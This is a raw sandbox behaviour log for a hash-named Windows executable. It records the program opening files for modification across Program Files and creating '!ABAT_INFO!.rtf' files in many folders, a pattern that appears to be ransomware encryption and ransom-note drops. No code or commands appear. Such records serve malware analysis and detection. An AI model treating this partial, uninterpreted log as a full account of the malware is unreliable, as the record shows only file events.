81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\indxicon.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Curacao 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\Resource.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Dialog.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Johannesburg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\New_York 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-12 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\PST8PDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wallis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security.ui_1.1.200.v20130626-2037.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-print.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\README.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Zaporozhye 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaw.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sao_Paulo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk_1.0.300.v20140407-1803.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Accra 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Campo_Grande 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\uninstall\shortcuts_log.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\DigSig.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\requests\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Sofia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.descriptorProvider.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-javahelp.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\java-rmi.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-tools.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_zh_CN.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Maceio 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Sync Framework\v1.0\Runtime\x64\resources\1033\Synchronization.rll 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\AUTHORS.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Srednekolymsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Toronto 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.di.extensions_0.12.0.v20140417-2033.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.server_8.1.14.v20131031.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Kosrae 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\EmptyDatabase.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Efate 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Darwin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Rangoon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Canary 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\PST8PDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+4 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tijuana 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPHandle.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Bishkek 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Christmas 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Mail\WinMail.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\bin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Vancouver 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\default_apps\docs.crx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\error_window.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\SettingsInternal.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Palau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-options-api.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Yellowknife 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\browser\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh88 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Swift_Current 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\resources.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_classic_winxp.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\speaker-32.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\localedata.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Juneau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Iqaluit 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Cordoba 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\offset_window.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Yakutsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\xjc.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui_3.106.0.v20140812-1751.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-options.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Ashgabat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.jdp_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\84.0.4147.89\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\MDIParent.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\derby_common.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\RELEASE-NOTES.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Costa_Rica 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Pitcairn 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-ui_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\bin\server\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Palau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\resources.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-core_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ashgabat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+6 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\eclipse.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.sat4j.core_2.3.5.v201308161310.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-options_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-annotations-common_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvmstat.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Los_Angeles 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\UnpublishSubmit.ogg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif 